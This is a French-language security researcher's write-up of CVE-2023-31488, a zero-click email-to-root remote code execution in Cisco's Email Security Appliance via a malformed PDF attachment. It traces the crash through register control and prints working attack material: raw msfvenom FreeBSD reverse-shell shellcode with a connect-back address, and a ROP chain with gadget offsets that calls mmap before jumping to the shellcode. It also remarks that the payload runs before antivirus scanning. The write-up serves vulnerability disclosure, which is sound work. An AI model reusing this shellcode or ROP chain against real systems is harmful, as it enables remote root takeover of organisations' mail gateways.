Appliance de sécurité email Cisco : Email vers RCE zero-click en tant que root - Exécution de code à distance / Corruption mémoire / Chaîne ROP
Chercheur en sécurité : ly1g3, ly1g3[at]tuta.io
Empreinte GPG : https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Vue d'ensemble : Email vers RCE zero-click en tant que root - Exécution de code à distance / Corruption mémoire / ROP-chain
CVE : CVE-2023-31488
Chronologie :
En fuzzoant l'appliance de sécurité email Cisco (ESA), j'ai découvert une vulnérabilité dans Lexmark Perceptive Filters, utilisé par l'ESA pour l'assainissement des données des pièces jointes email, menant à une RCE via email. Le crash survient lors de l'analyse d'une pièce jointe PDF modifiée. En modifiant un identifiant d'objet PDF à deux chiffres, par exemple :
Par exemple :
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
En remplaçant une partie de l'ID de 13 par autre chose (comme un espace) on obtient :
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Envoyer ce PDF modifié dans un email vers Cisco ESA provoque un crash de segmentation dans libISYSpdf6.so. Le crash est dû au fait que r14 contient des données ASCII.
Un examen plus approfondi montre que ces données proviennent du contenu de la pièce jointe PDF que nous contrôlons. La valeur de r14 est Rect.
![]()
Test en remplaçant Rect par AAAA.
Puisque la valeur de r14 est chargée depuis les données du PDF, nous pouvons la modifier pour pointer vers une adresse mémoire valide. Après cet ajustement, un autre crash survient à cause de données invalides dans RAX. Ces données sont également des chaînes ASCII provenant du PDF.
Nous modifions le PDF pour que rax pointe également vers une adresse réelle et nous poursuivons.

Un nouveau crash se produit ; maintenant rsi contient des données ASCII du PDF.

Nous modifions à nouveau le PDF pour charger une adresse mémoire réelle.
Finalement, nous arrivons à une partie de code très intéressante. Où nous contrôlons rdi, qui est utilisé pour charger une valeur dans rax. La dernière instruction de cette séquence est call rax. Nous progressons bien vers l'obtention de capacités d'exécution de code.
Une fois de plus, nous entrons dans l'éditeur hexadécimal et modifions la valeur chargée dans rdi.

Maintenant nous avons un moyen d'exécution de code limité et pouvons sauter vers une seule adresse. Comme ASLR n'est pas présent, trouver des adresses mémoire est facile. Nous contrôlons également rdi et utilisons donc le gadget ROP initial libISYSshared.so: push rdi; pop rsp; xor eax, pour déplacer rdi vers rsp et contrôler la pile. Nous pointons la pile vers une zone que nous contrôlons dans la région mémoire du PDF, avec une pile personnalisée préparée avec d'autres gadgets ROP.

Un shellcode de reverse shell FreeBSD généré par msfvenom est placé dans la région mémoire du PDF. Mais comme la mémoire n'est pas exécutable, nous devons d'abord la rendre exécutable.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Puisque nous contrôlons la pile à ce stade, cela peut être réalisé par la chaîne ROP suivante pour appeler mmap afin de définir la région mémoire du shellcode comme RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Après l'appel à mmap, call rsp; exécutera le NOP-sled de notre shellcode car l'adresse du shellcode est la suivante sur notre pile personnalisée. Le shellcode est un reverse shell généré par msfvenom.
Un point intéressant est que ce code est exécuté avant toute analyse antivirus statique, donc le reverse shell standard de Metasploit fonctionnera parfaitement.
Nous pouvons utiliser le POC ci-dessous pour créer un PDF fonctionnel. Ensuite, il suffit de l'envoyer dans un email à l'ESA pour obtenir une RCE. Voir mes autres vulnérabilités pour l'escalade de privilèges.
Et par là, nous obtenons un shell distant sur l'ESA :
Ce fut un projet amusant qui m'a beaucoup appris sur les vulnérabilités de corruption mémoire. Il montre également à quel point la protection mémoire "moderne" comme ASLR est efficace, mais aussi que l'on peut encore trouver des systèmes sans ASLR là-dehors.
Attaque de débordement sur ESA (Cisco Secure Email). Exécution de code à distance en tant que root.
En envoyant un fichier PDF spécialement conçu, un débordement permet à un attaquant d'obtenir une exécution de code à distance arbitraire sur l'ESA et d'autres produits utilisant Lexmark Perceptive Filters.